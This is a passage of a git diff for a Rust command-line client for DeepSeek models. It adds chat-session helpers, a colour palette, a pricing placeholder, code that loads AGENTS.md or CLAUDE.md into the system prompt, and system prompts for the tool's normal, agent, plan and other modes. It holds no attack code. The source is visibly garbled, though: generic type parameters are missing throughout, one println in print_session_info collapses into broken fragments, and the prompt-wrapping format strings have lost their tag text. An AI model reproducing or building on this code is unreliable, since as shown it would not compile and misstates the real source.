println!("{}", ds_sky("Commands:").bold()); + println!(" /help Show this help"); + println!(" /clear Clear history (keeps system prompt)"); + println!(" /history Show message count"); + println!(" /stats Show token stats"); + println!(" /exit Exit session"); +} + +fn print_session_info(options: &TextChatOptions, messages: usize, tools: usize) { + let width = 56usize; + let header = "Session Info"; + println!("┌{}┐", "─".repeat(width)); + println!("│{:^width$}│", ds_blue(header).bold(), width = width); + println!("├{}┤", "─".repeat(width)); + println!( + "│ {: 0 { + println!(" Total tokens: {}", stats.total_tokens); + } +} + +fn ds_blue(text: &str) -> ColoredString { + let (r, g, b) = palette::DEEPSEEK_BLUE_RGB; + text.truecolor(r, g, b) +} + +fn ds_sky(text: &str) -> ColoredString { + let (r, g, b) = palette::DEEPSEEK_SKY_RGB; + text.truecolor(r, g, b) +} + +fn ds_red(text: &str) -> ColoredString { + let (r, g, b) = palette::DEEPSEEK_RED_RGB; + text.truecolor(r, g, b) +} + +struct SessionStats { + started: Instant, + input_tokens: u32, + output_tokens: u32, + total_tokens: u32, +} + +impl SessionStats { + fn new() -> Self { + Self { + started: Instant::now(), + input_tokens: 0, + output_tokens: 0, + total_tokens: 0, + } + } + + fn update(&mut self, usage: &Usage) { + self.add_counts(usage.input_tokens, usage.output_tokens, None); + } + + fn add_counts(&mut self, input: u32, output: u32, total: Option) { + self.input_tokens = self.input_tokens.saturating_add(input); + self.output_tokens = self.output_tokens.saturating_add(output); + let total = total.unwrap_or_else(|| input.saturating_add(output)); + self.total_tokens = self.total_tokens.saturating_add(total); + } + + fn reset(&mut self) { + self.started = Instant::now(); + self.input_tokens = 0; + self.output_tokens = 0; + self.total_tokens = 0; + } +} + +#[derive(Clone)] +struct CommandCompleter { + commands: Vec, +} + +impl Helper for CommandCompleter {} +impl Hinter for CommandCompleter { + type Hint = String; +} +impl Highlighter for CommandCompleter {} +impl Validator for CommandCompleter {} + +impl Completer for CommandCompleter { + type Candidate = Pair; + + fn complete( + &self, + line: &str, + pos: usize, + _ctx: &RlContext<'_>, + ) -> Result<(usize, Vec), ReadlineError> { + if !line.trim_start().starts_with('/') { + return Ok((pos, Vec::new())); + } + let start = line.rfind('/').unwrap_or(0); + let prefix = &line[start..pos]; + let matches = self + .commands + .iter() + .filter(|cmd| cmd.starts_with(prefix)) + .map(|cmd| Pair { + display: cmd.clone(), + replacement: cmd.clone(), + }) + .collect(); + Ok((start, matches)) + } +} + +fn create_editor() -> Result> { + let helper = CommandCompleter { + commands: vec![ + "/help".to_string(), + "/clear".to_string(), + "/history".to_string(), + "/stats".to_string(), + "/exit".to_string(), + ], + }; + let mut editor = Editor::new()?; + editor.set_helper(Some(helper)); + if let Some(path) = history_path() { + let _ = editor.load_history(&path); + } + Ok(editor) +} + +fn read_prompt(editor: &mut Editor) -> Result> { + match editor.readline("You> ") { + Ok(line) => { + let trimmed = line.trim().to_string(); + if !trimmed.is_empty() { + editor.add_history_entry(trimmed.as_str())?; + if let Some(path) = history_path() { + let _ = editor.append_history(&path); + } + } + Ok(Some(trimmed)) + } + Err(ReadlineError::Interrupted) => Ok(Some(String::new())), + Err(ReadlineError::Eof) => Ok(None), + Err(err) => Err(err.into()), + } +} + +fn history_path() -> Option { + dirs::home_dir().map(|home| { + let dir = home.join(".deepseek"); + let _ = std::fs::create_dir_all(&dir); + dir.join("history") + }) +} + +async fn handle_line_deepseek( + line: String, + client: &DeepSeekClient, + options: &TextChatOptions, + messages: &mut Vec, + stats: &mut SessionStats, +) -> Result { + let input = line.trim(); + if input.is_empty() { + return Ok(false); + } + if matches_exit(input) { + return Ok(true); + } + if handle_command_deepseek(input, messages, Some(options), stats) { + return Ok(false); + } + if let Err(error) = process_deepseek_turn(client, options, messages, input, stats).await { + eprintln!("{} {}", ds_red("Error:").bold(), error); + } + Ok(false) +} + +async fn handle_line_official( + line: String, + client: &DeepSeekClient, + options: &TextChatOptions, + messages: &mut Vec, + stats: &mut SessionStats, + system_prompt: Option<&str>, +) -> Result { + let input = line.trim(); + if input.is_empty() { + return Ok(false); + } + if matches_exit(input) { + return Ok(true); + } + if handle_command_official(input, messages, Some(options), stats, system_prompt) { + return Ok(false); + } + if let Err(error) = process_official_turn(client, options, messages, input, stats).await { + eprintln!("{} {}", ds_red("Error:").bold(), error); + } + Ok(false) +} diff --git a/src/palette.rs b/src/palette.rs new file mode 100644 index 00000000..acb3516c --- /dev/null +++ b/src/palette.rs @@ -0,0 +1,84 @@ +//! DeepSeek color palette and semantic roles. + +use ratatui::style::Color; + +pub const DEEPSEEK_BLUE_RGB: (u8, u8, u8) = (53, 120, 229); // #3578E5 +pub const DEEPSEEK_SKY_RGB: (u8, u8, u8) = (106, 174, 242); +#[allow(dead_code)] +pub const DEEPSEEK_AQUA_RGB: (u8, u8, u8) = (54, 187, 212); +pub const DEEPSEEK_NAVY_RGB: (u8, u8, u8) = (24, 63, 138); +pub const DEEPSEEK_INK_RGB: (u8, u8, u8) = (11, 21, 38); +pub const DEEPSEEK_SLATE_RGB: (u8, u8, u8) = (18, 28, 46); +pub const DEEPSEEK_RED_RGB: (u8, u8, u8) = (226, 80, 96); + +pub const DEEPSEEK_BLUE: Color = Color::Rgb( + DEEPSEEK_BLUE_RGB.0, + DEEPSEEK_BLUE_RGB.1, + DEEPSEEK_BLUE_RGB.2, +); +pub const DEEPSEEK_SKY: Color = + Color::Rgb(DEEPSEEK_SKY_RGB.0, DEEPSEEK_SKY_RGB.1, DEEPSEEK_SKY_RGB.2); +#[allow(dead_code)] +pub const DEEPSEEK_AQUA: Color = Color::Rgb( + DEEPSEEK_AQUA_RGB.0, + DEEPSEEK_AQUA_RGB.1, + DEEPSEEK_AQUA_RGB.2, +); +pub const DEEPSEEK_NAVY: Color = Color::Rgb( + DEEPSEEK_NAVY_RGB.0, + DEEPSEEK_NAVY_RGB.1, + DEEPSEEK_NAVY_RGB.2, +); +pub const DEEPSEEK_INK: Color = + Color::Rgb(DEEPSEEK_INK_RGB.0, DEEPSEEK_INK_RGB.1, DEEPSEEK_INK_RGB.2); +pub const DEEPSEEK_SLATE: Color = Color::Rgb( + DEEPSEEK_SLATE_RGB.0, + DEEPSEEK_SLATE_RGB.1, + DEEPSEEK_SLATE_RGB.2, +); +pub const DEEPSEEK_RED: Color = + Color::Rgb(DEEPSEEK_RED_RGB.0, DEEPSEEK_RED_RGB.1, DEEPSEEK_RED_RGB.2); + +pub const TEXT_PRIMARY: Color = Color::White; +pub const TEXT_MUTED: Color = Color::DarkGray; +pub const TEXT_DIM: Color = Color::Gray; + +pub const STATUS_SUCCESS: Color = DEEPSEEK_SKY; +pub const STATUS_WARNING: Color = DEEPSEEK_SKY; +pub const STATUS_ERROR: Color = DEEPSEEK_RED; +#[allow(dead_code)] +pub const STATUS_INFO: Color = DEEPSEEK_BLUE; + +pub const SELECTION_BG: Color = Color::Rgb(26, 44, 74); +pub const COMPOSER_BG: Color = DEEPSEEK_SLATE; + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub struct UiTheme { + pub name: &'static str, + pub composer_bg: Color, + pub selection_bg: Color, + pub header_bg: Color, +} + +pub fn ui_theme(name: &str) -> UiTheme { + match name.to_ascii_lowercase().as_str() { + "dark" => UiTheme { + name: "dark", + composer_bg: DEEPSEEK_INK, + selection_bg: Color::Rgb(30, 52, 92), + header_bg: DEEPSEEK_INK, + }, + "light" => UiTheme { + name: "light", + composer_bg: Color::Rgb(26, 38, 58), + selection_bg: Color::Rgb(38, 64, 112), + header_bg: DEEPSEEK_SLATE, + }, + _ => UiTheme { + name: "default", + composer_bg: COMPOSER_BG, + selection_bg: SELECTION_BG, + header_bg: DEEPSEEK_INK, + }, + } +} diff --git a/src/pricing.rs b/src/pricing.rs new file mode 100644 index 00000000..b1522118 --- /dev/null +++ b/src/pricing.rs @@ -0,0 +1,52 @@ +//! Cost estimation placeholders for tool executions. +//! +//! DeepSeek CLI focuses on text-only workflows; no paid multimedia tools are exposed +//! by default, so cost estimates are currently unavailable. + +use serde_json::Value; + +/// Estimated cost for a tool execution +#[derive(Debug, Clone)] +pub struct CostEstimate { + /// Minimum cost in USD + pub min_usd: f64, + /// Maximum cost in USD + pub max_usd: f64, + /// Cost breakdown explanation + pub breakdown: String, +} + +impl CostEstimate { + #[must_use] + #[allow(dead_code)] + pub fn new(min_usd: f64, max_usd: f64, breakdown: impl Into) -> Self { + Self { + min_usd, + max_usd, + breakdown: breakdown.into(), + } + } + + #[must_use] + #[allow(dead_code)] + pub fn fixed(usd: f64, breakdown: impl Into) -> Self { + Self::new(usd, usd, breakdown) + } + + /// Format the cost for display + #[must_use] + pub fn display(&self) -> String { + if (self.min_usd - self.max_usd).abs() < 0.0001 { + format!("${:.4}", self.min_usd) + } else { + format!("${:.4} - ${:.4}", self.min_usd, self.max_usd) + } + } +} + +/// Get cost estimate for a tool by name +#[must_use] +pub fn estimate_tool_cost(tool_name: &str, params: &Value) -> Option { + let _ = (tool_name, params); + None +} diff --git a/src/project_context.rs b/src/project_context.rs new file mode 100644 index 00000000..4f5855f5 --- /dev/null +++ b/src/project_context.rs @@ -0,0 +1,456 @@ +//! Project context loading for deepseek-cli. +//! +//! This module handles loading project-specific context files that provide +//! instructions and context to the AI agent. These include: +//! +//! - `AGENTS.md` - Project-level agent instructions (primary) +//! - `.claude/instructions.md` - Claude-style hidden instructions +//! - `CLAUDE.md` - Claude-style instructions +//! - `.deepseek/instructions.md` - Hidden instructions file (legacy) +//! +//! The loaded content is injected into the system prompt to give the agent +//! context about the project's conventions, structure, and requirements. + +#![allow(dead_code)] // Public API - some functions reserved for future use + +use std::fs; +use std::path::{Path, PathBuf}; + +use thiserror::Error; + +/// Names of project context files to look for, in priority order. +const PROJECT_CONTEXT_FILES: &[&str] = &[ + "AGENTS.md", + ".claude/instructions.md", + "CLAUDE.md", + ".deepseek/instructions.md", +]; + +/// Maximum size for project context files (to prevent loading huge files) +const MAX_CONTEXT_SIZE: usize = 100 * 1024; // 100KB + +// === Errors === + +#[derive(Debug, Error)] +enum ProjectContextError { + #[error("Failed to read context metadata for {path}: {source}")] + Metadata { + path: PathBuf, + source: std::io::Error, + }, + #[error("Context file {path} is too large ({size} bytes, max {max})")] + TooLarge { + path: PathBuf, + size: u64, + max: usize, + }, + #[error("Failed to read context file {path}: {source}")] + Read { + path: PathBuf, + source: std::io::Error, + }, + #[error("Context file {path} is empty")] + Empty { path: PathBuf }, +} + +/// Result of loading project context +#[derive(Debug, Clone)] +pub struct ProjectContext { + /// The loaded instructions content + pub instructions: Option, + /// Path to the loaded file (for display) + pub source_path: Option, + /// Any warnings during loading + pub warnings: Vec, + /// Project root directory + pub project_root: PathBuf, + /// Whether this is a trusted project + pub is_trusted: bool, +} + +impl ProjectContext { + /// Create an empty project context + pub fn empty(project_root: PathBuf) -> Self { + Self { + instructions: None, + source_path: None, + warnings: Vec::new(), + project_root, + is_trusted: false, + } + } + + /// Check if any instructions were loaded + pub fn has_instructions(&self) -> bool { + self.instructions.is_some() + } + + /// Get the instructions as a formatted block for system prompt + pub fn as_system_block(&self) -> Option { + self.instructions.as_ref().map(|content| { + let source = self + .source_path + .as_ref() + .map_or_else(|| "project".to_string(), |p| p.display().to_string()); + + format!( + "\n{content}\n" + ) + }) + } +} + +/// Load project context from the workspace directory. +/// +/// This searches for known project context files and loads the first one found. +pub fn load_project_context(workspace: &Path) -> ProjectContext { + let mut ctx = ProjectContext::empty(workspace.to_path_buf()); + + // Search for project context files + for filename in PROJECT_CONTEXT_FILES { + let file_path = workspace.join(filename); + + if file_path.exists() && file_path.is_file() { + match load_context_file(&file_path) { + Ok(content) => { + ctx.instructions = Some(content); + ctx.source_path = Some(file_path); + break; + } + Err(error) => { + ctx.warnings.push(error.to_string()); + } + } + } + } + + // Check for trust file + ctx.is_trusted = check_trust_status(workspace); + + ctx +} + +/// Load project context from parent directories as well. +/// +/// This allows for monorepo setups where a root AGENTS.md applies to all subdirectories. +pub fn load_project_context_with_parents(workspace: &Path) -> ProjectContext { + let mut ctx = load_project_context(workspace); + + // If no context found in workspace, check parent directories + if !ctx.has_instructions() { + let mut current = workspace.parent(); + + while let Some(parent) = current { + // Stop at git root or filesystem root + if parent.join(".git").exists() { + let parent_ctx = load_project_context(parent); + if parent_ctx.has_instructions() { + ctx.instructions = parent_ctx.instructions; + ctx.source_path = parent_ctx.source_path; + } + break; + } + + let parent_ctx = load_project_context(parent); + if parent_ctx.has_instructions() { + ctx.instructions = parent_ctx.instructions; + ctx.source_path = parent_ctx.source_path; + break; + } + + current = parent.parent(); + } + } + + ctx +} + +/// Load a context file with size checking +fn load_context_file(path: &Path) -> Result { + // Check file size first + let metadata = fs::metadata(path).map_err(|source| ProjectContextError::Metadata { + path: path.to_path_buf(), + source, + })?; + + if metadata.len() > MAX_CONTEXT_SIZE as u64 { + return Err(ProjectContextError::TooLarge { + path: path.to_path_buf(), + size: metadata.len(), + max: MAX_CONTEXT_SIZE, + }); + } + + // Read the file + let content = fs::read_to_string(path).map_err(|source| ProjectContextError::Read { + path: path.to_path_buf(), + source, + })?; + + // Basic validation + if content.trim().is_empty() { + return Err(ProjectContextError::Empty { + path: path.to_path_buf(), + }); + } + + Ok(content) +} + +/// Check if this project is marked as trusted +fn check_trust_status(workspace: &Path) -> bool { + // Check for trust markers + let trust_markers = [ + workspace.join(".deepseek").join("trusted"), + workspace.join(".deepseek").join("trust.json"), + ]; + + for marker in &trust_markers { + if marker.exists() { + return true; + } + } + + false +} + +/// Create a default AGENTS.md file for a project +pub fn create_default_agents_md(workspace: &Path) -> std::io::Result { + let agents_path = workspace.join("AGENTS.md"); + + let default_content = r#"# Project Agent Instructions + +This file provides guidance to AI agents (DeepSeek CLI, Claude Code, etc.) when working with code in this repository. + +## File Location + +Save this file as `AGENTS.md` in your project root so the CLI can load it automatically. + +## Build and Development Commands + +```bash +# Build +# cargo build # Rust projects +# npm run build # Node.js projects +# python -m build # Python projects + +# Test +# cargo test # Rust +# npm test # Node.js +# pytest # Python + +# Lint and Format +# cargo fmt && cargo clippy # Rust +# npm run lint # Node.js +# ruff check . # Python +``` + +## Architecture Overview + + + + +### Key Components + + + +### Data Flow + + + +## Configuration Files + + + +## Extension Points + + + +## Commit Messages + +Use conventional commits: `feat:`, `fix:`, `docs:`, `refactor:`, `test:`, `chore:` +"#; + + fs::write(&agents_path, default_content)?; + Ok(agents_path) +} + +/// Merge multiple project contexts (e.g., from nested directories) +pub fn merge_contexts(contexts: &[ProjectContext]) -> Option { + let non_empty: Vec<_> = contexts + .iter() + .filter_map(ProjectContext::as_system_block) + .collect(); + + if non_empty.is_empty() { + None + } else { + Some(non_empty.join("\n\n")) + } +} + +// === Unit Tests === + +#[cfg(test)] +mod tests { + use super::*; + use tempfile::tempdir; + + #[test] + fn test_load_project_context_empty() { + let tmp = tempdir().expect("tempdir"); + let ctx = load_project_context(tmp.path()); + + assert!(!ctx.has_instructions()); + assert!(ctx.source_path.is_none()); + } + + #[test] + fn test_load_project_context_agents_md() { + let tmp = tempdir().expect("tempdir"); + let agents_path = tmp.path().join("AGENTS.md"); + fs::write(&agents_path, "# Test Instructions\n\nFollow these rules.").expect("write"); + + let ctx = load_project_context(tmp.path()); + + assert!(ctx.has_instructions()); + assert!( + ctx.instructions + .as_ref() + .unwrap() + .contains("Test Instructions") + ); + assert_eq!(ctx.source_path, Some(agents_path)); + } + + #[test] + fn test_load_project_context_priority() { + let tmp = tempdir().expect("tempdir"); + + // Create both files - AGENTS.md should take priority + fs::write(tmp.path().join("AGENTS.md"), "AGENTS content").expect("write"); + let claude_dir = tmp.path().join(".claude"); + fs::create_dir(&claude_dir).expect("mkdir"); + fs::write(claude_dir.join("instructions.md"), "CLAUDE content").expect("write"); + + let ctx = load_project_context(tmp.path()); + + assert!(ctx.has_instructions()); + assert!( + ctx.instructions + .as_ref() + .unwrap() + .contains("AGENTS content") + ); + } + + #[test] + fn test_load_project_context_hidden_dir() { + let tmp = tempdir().expect("tempdir"); + let hidden_dir = tmp.path().join(".deepseek"); + fs::create_dir(&hidden_dir).expect("mkdir"); + fs::write(hidden_dir.join("instructions.md"), "Hidden instructions").expect("write"); + + let ctx = load_project_context(tmp.path()); + + assert!(ctx.has_instructions()); + assert!( + ctx.instructions + .as_ref() + .unwrap() + .contains("Hidden instructions") + ); + } + + #[test] + fn test_as_system_block() { + let tmp = tempdir().expect("tempdir"); + let agents_path = tmp.path().join("AGENTS.md"); + fs::write(&agents_path, "Test content").expect("write"); + + let ctx = load_project_context(tmp.path()); + let block = ctx.as_system_block().expect("block"); + + assert!(block.contains("")); + } + + #[test] + fn test_empty_file_warning() { + let tmp = tempdir().expect("tempdir"); + let agents_path = tmp.path().join("AGENTS.md"); + fs::write(&agents_path, " \n \n ").expect("write"); // Only whitespace + + let ctx = load_project_context(tmp.path()); + + assert!(!ctx.has_instructions()); + assert!(!ctx.warnings.is_empty()); + } + + #[test] + fn test_check_trust_status() { + let tmp = tempdir().expect("tempdir"); + + // Not trusted by default + assert!(!check_trust_status(tmp.path())); + + // Create trust marker + let deepseek_dir = tmp.path().join(".deepseek"); + fs::create_dir(&deepseek_dir).expect("mkdir"); + fs::write(deepseek_dir.join("trusted"), "").expect("write"); + + assert!(check_trust_status(tmp.path())); + } + + #[test] + fn test_create_default_agents_md() { + let tmp = tempdir().expect("tempdir"); + let path = create_default_agents_md(tmp.path()).expect("create"); + + assert!(path.exists()); + let content = fs::read_to_string(&path).expect("read"); + assert!(content.contains("Project Agent Instructions")); + } + + #[test] + fn test_load_with_parents() { + let tmp = tempdir().expect("tempdir"); + + // Create a nested structure + let subdir = tmp.path().join("subproject"); + fs::create_dir(&subdir).expect("mkdir"); + + // Put AGENTS.md in parent + fs::write(tmp.path().join("AGENTS.md"), "Parent instructions").expect("write"); + // Also create .git to mark as repo root + fs::create_dir(tmp.path().join(".git")).expect("mkdir .git"); + + // Load from subdir should find parent's AGENTS.md + let ctx = load_project_context_with_parents(&subdir); + + assert!(ctx.has_instructions()); + assert!( + ctx.instructions + .as_ref() + .unwrap() + .contains("Parent instructions") + ); + } + + #[test] + fn test_merge_contexts() { + let mut ctx1 = ProjectContext::empty(PathBuf::from("/a")); + ctx1.instructions = Some("Instructions A".to_string()); + ctx1.source_path = Some(PathBuf::from("/a/AGENTS.md")); + + let mut ctx2 = ProjectContext::empty(PathBuf::from("/b")); + ctx2.instructions = Some("Instructions B".to_string()); + ctx2.source_path = Some(PathBuf::from("/b/AGENTS.md")); + + let merged = merge_contexts(&[ctx1, ctx2]).expect("merge"); + + assert!(merged.contains("Instructions A")); + assert!(merged.contains("Instructions B")); + } +} diff --git a/src/project_doc.rs b/src/project_doc.rs new file mode 100644 index 00000000..3fe07139 --- /dev/null +++ b/src/project_doc.rs @@ -0,0 +1,143 @@ +//! Project document discovery and loading +//! +//! Supports auto-discovery of project instructions like Claude Code. +//! Priority: AGENTS.md > .claude/instructions.md > CLAUDE.md > .deepseek/instructions.md + +#![allow(dead_code)] + +use std::path::{Path, PathBuf}; + +/// Document filenames to search for (in priority order) +pub const DOC_FILENAMES: &[&str] = &[ + "AGENTS.md", + ".claude/instructions.md", + "CLAUDE.md", + ".deepseek/instructions.md", +]; + +/// Maximum bytes to read from project docs (default: 32KB) +pub const DEFAULT_MAX_BYTES: usize = 32768; + +/// A discovered project document +#[derive(Debug, Clone)] +#[allow(dead_code)] +pub struct ProjectDoc { + pub path: PathBuf, + pub content: String, +} + +/// Walk from cwd up to git root, collecting all project docs +pub fn discover_paths(cwd: &Path) -> Vec { + let mut paths = Vec::new(); + let git_root = find_git_root(cwd); + + let mut current = cwd.to_path_buf(); + loop { + for filename in DOC_FILENAMES { + let doc_path = current.join(filename); + if doc_path.exists() && doc_path.is_file() { + paths.push(doc_path); + } + } + + // Stop at git root or filesystem root + if let Some(ref root) = git_root + && current == *root + { + break; + } + + match current.parent() { + Some(parent) if parent != current => { + current = parent.to_path_buf(); + } + _ => break, + } + } + + // Reverse so parent docs come first (will be overridden by child docs) + paths.reverse(); + paths +} + +/// Find the git root directory from cwd +fn find_git_root(cwd: &Path) -> Option { + let mut current = cwd.to_path_buf(); + loop { + if current.join(".git").exists() { + return Some(current); + } + match current.parent() { + Some(parent) if parent != current => { + current = parent.to_path_buf(); + } + _ => return None, + } + } +} + +/// Read and concatenate project docs with byte limit +pub fn read_project_docs(paths: &[PathBuf], max_bytes: usize) -> Option { + if paths.is_empty() { + return None; + } + + let mut combined = String::new(); + let mut total_bytes = 0; + + for path in paths { + if total_bytes >= max_bytes { + break; + } + + if let Ok(content) = std::fs::read_to_string(path) { + let remaining = max_bytes.saturating_sub(total_bytes); + let content = if content.len() > remaining { + // Truncate to remaining bytes at a word boundary if possible + let truncated: String = content.chars().take(remaining).collect(); + format!("{truncated}\n\n[...truncated...]") + } else { + content + }; + + if !combined.is_empty() { + combined.push_str("\n\n---\n\n"); + } + combined.push_str(&format_instructions(path, &content)); + total_bytes += content.len(); + } + } + + if combined.is_empty() { + None + } else { + Some(combined) + } +} + +/// Format project instructions for injection into system prompt +pub fn format_instructions(path: &Path, content: &str) -> String { + format!( + "# Project instructions from {}\n\n\n{}\n", + path.display(), + content.trim() + ) +} + +/// Load project docs from workspace with default settings +pub fn load_from_workspace(workspace: &Path) -> Option { + let paths = discover_paths(workspace); + read_project_docs(&paths, DEFAULT_MAX_BYTES) +} + +/// Check if workspace has any project doc +#[allow(dead_code)] +pub fn has_project_doc(workspace: &Path) -> bool { + !discover_paths(workspace).is_empty() +} + +/// Get the primary project doc path (for display) +#[allow(dead_code)] +pub fn primary_doc_path(workspace: &Path) -> Option { + discover_paths(workspace).into_iter().next() +} diff --git a/src/prompts.rs b/src/prompts.rs new file mode 100644 index 00000000..dba6f725 --- /dev/null +++ b/src/prompts.rs @@ -0,0 +1,94 @@ +//! System prompts for different modes. +//! NOTE: Prompt building is currently handled directly in engine - these are for future refactoring. + +#![allow(dead_code)] + +use crate::models::SystemPrompt; +use crate::project_context::{ProjectContext, load_project_context_with_parents}; +use crate::tui::app::AppMode; +use std::path::Path; + +// Prompt files loaded at compile time +pub const BASE_PROMPT: &str = include_str!("prompts/base.txt"); +pub const NORMAL_PROMPT: &str = include_str!("prompts/normal.txt"); +pub const AGENT_PROMPT: &str = include_str!("prompts/agent.txt"); +pub const PLAN_PROMPT: &str = include_str!("prompts/plan.txt"); +pub const RLM_PROMPT: &str = include_str!("prompts/rlm.txt"); +pub const DUO_PROMPT: &str = include_str!("prompts/duo.txt"); + +/// Get the system prompt for a specific mode +pub fn system_prompt_for_mode(mode: AppMode) -> SystemPrompt { + let text = match mode { + AppMode::Normal => NORMAL_PROMPT, + AppMode::Agent | AppMode::Yolo => AGENT_PROMPT, + AppMode::Plan => PLAN_PROMPT, + AppMode::Rlm => RLM_PROMPT, + AppMode::Duo => DUO_PROMPT, + }; + SystemPrompt::Text(text.trim().to_string()) +} + +/// Get the system prompt for a specific mode with project context +pub fn system_prompt_for_mode_with_context( + mode: AppMode, + workspace: &Path, + rlm_summary: Option<&str>, + duo_summary: Option<&str>, +) -> SystemPrompt { + let base_prompt = match mode { + AppMode::Normal => NORMAL_PROMPT, + AppMode::Agent | AppMode::Yolo => AGENT_PROMPT, + AppMode::Plan => PLAN_PROMPT, + AppMode::Rlm => RLM_PROMPT, + AppMode::Duo => DUO_PROMPT, + }; + + // Load project context from workspace + let project_context = load_project_context_with_parents(workspace); + + // Combine base prompt with project context + let mut full_prompt = if let Some(project_block) = project_context.as_system_block() { + format!("{}\n\n{}", base_prompt.trim(), project_block) + } else { + base_prompt.trim().to_string() + }; + + if mode == AppMode::Rlm { + let summary = rlm_summary.unwrap_or("No RLM contexts loaded."); + full_prompt = format!("{full_prompt}\n\nRLM Context Summary:\n{summary}"); + } + + if mode == AppMode::Duo { + let summary = duo_summary.unwrap_or("No Duo contexts loaded."); + full_prompt = format!("{full_prompt}\n\nDuo Context Summary:\n{summary}"); + } + + SystemPrompt::Text(full_prompt) +} + +/// Build a system prompt with explicit project context +pub fn build_system_prompt(base: &str, project_context: Option<&ProjectContext>) -> SystemPrompt { + let full_prompt = + match project_context.and_then(super::project_context::ProjectContext::as_system_block) { + Some(project_block) => format!("{}\n\n{}", base.trim(), project_block), + None => base.trim().to_string(), + }; + SystemPrompt::Text(full_prompt) +} + +// Legacy functions for backwards compatibility +pub fn base_system_prompt() -> SystemPrompt { + SystemPrompt::Text(BASE_PROMPT.trim().to_string()) +} + +pub fn normal_system_prompt() -> SystemPrompt { + SystemPrompt::Text(NORMAL_PROMPT.trim().to_string()) +} + +pub fn agent_system_prompt() -> SystemPrompt { + SystemPrompt::Text(AGENT_PROMPT.trim().to_string()) +} + +pub fn plan_system_prompt() -> SystemPrompt { + SystemPrompt::Text(PLAN_PROMPT.trim().to_string()) +} diff --git a/src/prompts/agent.txt b/src/prompts/agent.txt new file mode 100644 index 00000000..8d7d04c9 --- /dev/null +++ b/src/prompts/agent.txt @@ -0,0 +1,48 @@ +You are DeepSeek CLI, an agentic coding assistant with full tool access. + +IMPORTANT: You are ALREADY running inside the DeepSeek CLI TUI. You have direct access to all tools below - do NOT try to run or launch the CLI binary. Your tools execute directly in the current session. + +When given a task: +1. Break it into subtasks and track them with todo tools. +2. Work through each subtask systematically. +3. Report progress as you go. +4. Verify your work before marking complete. +5. Do not stop until the full task is done. +6. Avoid destructive actions (deletes, irreversible changes) unless the user explicitly requests them; suggest YOLO for high-risk changes. + +Available tools: + +FILE OPERATIONS: +- list_dir: List directory contents +- read_file: Read file contents +- write_file: Create or overwrite a file +- edit_file: Search and replace text in a file +- apply_patch: Apply a unified diff patch to a file +- grep_files: Search files by regex +- web_search: Search the web for up-to-date information + +SHELL EXECUTION: +- exec_shell: Run shell commands (supports background execution) + - command: The command to execute + - timeout_ms: Timeout in milliseconds (default: 120000, max: 600000) + - background: Set true to run in background, returns task_id + +TASK MANAGEMENT: +- todo_write: Write or update the todo list +- update_plan: Publish a structured checklist for complex work +- note: Record important information + +SUB-AGENTS: +- agent_spawn: Spawn a background sub-agent (type, prompt, allowed_tools) +- agent_result: Get result from a sub-agent (agent_id, block, timeout_ms) +- agent_cancel: Cancel a running sub-agent (agent_id) +- agent_list: List all sub-agents and their status +If you spawn a sub-agent, always follow up with agent_result (block: true) and incorporate its result before responding to the user. + +For complex work, call update_plan to publish a checklist. +Keep exactly one plan step in_progress at a time. +Use todo tools for granular progress when helpful. + +BACKGROUND EXECUTION: +For long-running commands (build, test, server), use exec_shell with background: true. +This returns a task_id immediately in the tool output. diff --git a/src/prompts/base.txt b/src/prompts/base.txt new file mode 100644 index 00000000..3386f547 --- /dev/null +++ b/src/prompts/base.txt @@ -0,0 +1,14 @@ +You are DeepSeek CLI, an agentic coding assistant. + +When given a task: +1. Break it into subtasks and track them. +2. Work through each subtask systematically. +3. Report progress as you go. +4. Verify your work before marking complete. +5. Do not stop until the full task is done. + +Use tools when needed. For complex work, call update_plan to publish a checklist. +Keep exactly one plan step in_progress at a time. +Use todo tools for granular progress when helpful. + +Tone: competent, warm, and concise. Use light humor sparingly when it fits; a rare example is "You're absolutely right! ... maybe." diff --git a/src/prompts/duo.txt b/src/prompts/duo.txt new file mode 100644 index 00000000..904f3212 --- /dev/null +++ b/src/prompts/duo.txt @@ -0,0 +1,3 @@ +You are in Duo mode for requirements-driven development. + +Use duo_init with a requirements checklist, then alternate duo_player (implement) and duo_coach (verify) until approved. diff --git a/src/prompts/normal.txt b/src/prompts/normal.txt new file mode 100644 index 00000000..6cc019ef --- /dev/null +++ b/src/prompts/normal.txt @@ -0,0 +1,25 @@ +You are DeepSeek CLI, a helpful coding assistant running in NORMAL mode. + +IMPORTANT: You are ALREADY running inside the DeepSeek CLI TUI. You have direct access to all tools below - do NOT try to run or launch the CLI binary. + +You help users with coding questions, explanations, debugging, and general programming assistance. + +Available tools in this mode: +- list_dir: Browse directories in the workspace +- read_file: Read file contents +- write_file: Create or overwrite a file (ask first) +- edit_file: Search and replace text in a file (ask first) +- apply_patch: Apply a unified diff patch (ask first) +- grep_files: Search files by regex +- web_search: Search the web for up-to-date information +- exec_shell: Run shell commands (ask first, if enabled) +- note: Record important information +- todo_write: Write or update the todo list +- update_plan: Publish a structured plan + +Guidelines: +1. Answer questions clearly and concisely +2. Provide code examples when helpful +3. You CAN read files and explore the codebase +4. Ask for explicit approval before any file writes, patches, or shell commands +5. If the user wants fully autonomous changes, suggest pressing Tab to switch to Agent or YOLO mode diff --git a/src/prompts/plan.txt b/src/prompts/plan.txt new file mode 100644 index 00000000..9c9ad8ef --- /dev/null +++ b/src/prompts/plan.txt @@ -0,0 +1,31 @@ +You are DeepSeek CLI in PLAN mode. Design before implementing. + +This mode is read-only: you can analyze and plan, but you cannot edit files or run shell commands. + +In this mode, focus on: +1. Understanding requirements fully before proposing solutions +2. Breaking down complex tasks into clear, actionable steps +3. Identifying potential issues and edge cases upfront +4. Creating a detailed plan using update_plan before implementation + +Available tools: + +PLANNING: +- update_plan: Publish a structured plan with steps and status +- todo_write: Write or update the todo list + +EXPLORATION: +- list_dir: Browse directories in the workspace +- read_file: Read file contents to understand context +- grep_files: Search files by regex +- web_search: Search the web for up-to-date information (if enabled) + +Guidelines: +- Focus on planning before making changes +- Use update_plan to create structured plans +- Each step should be specific and actionable +- Include acceptance criteria where possible +- Identify dependencies between steps +- Call out risks, edge cases, and verification steps +- Ask clarifying questions if requirements are unclear +- After the plan is ready, summarize briefly and wait for user direction diff --git a/src/prompts/rlm.txt b/src/prompts/rlm.txt new file mode 100644 index 00000000..466ed1fd --- /dev/null +++ b/src/prompts/rlm.txt @@ -0,0 +1,3 @@ +You are in RLM mode for working with large files that exceed context limits. + +Use rlm_* tools to load files, explore content, and run focused queries over chunks. diff --git 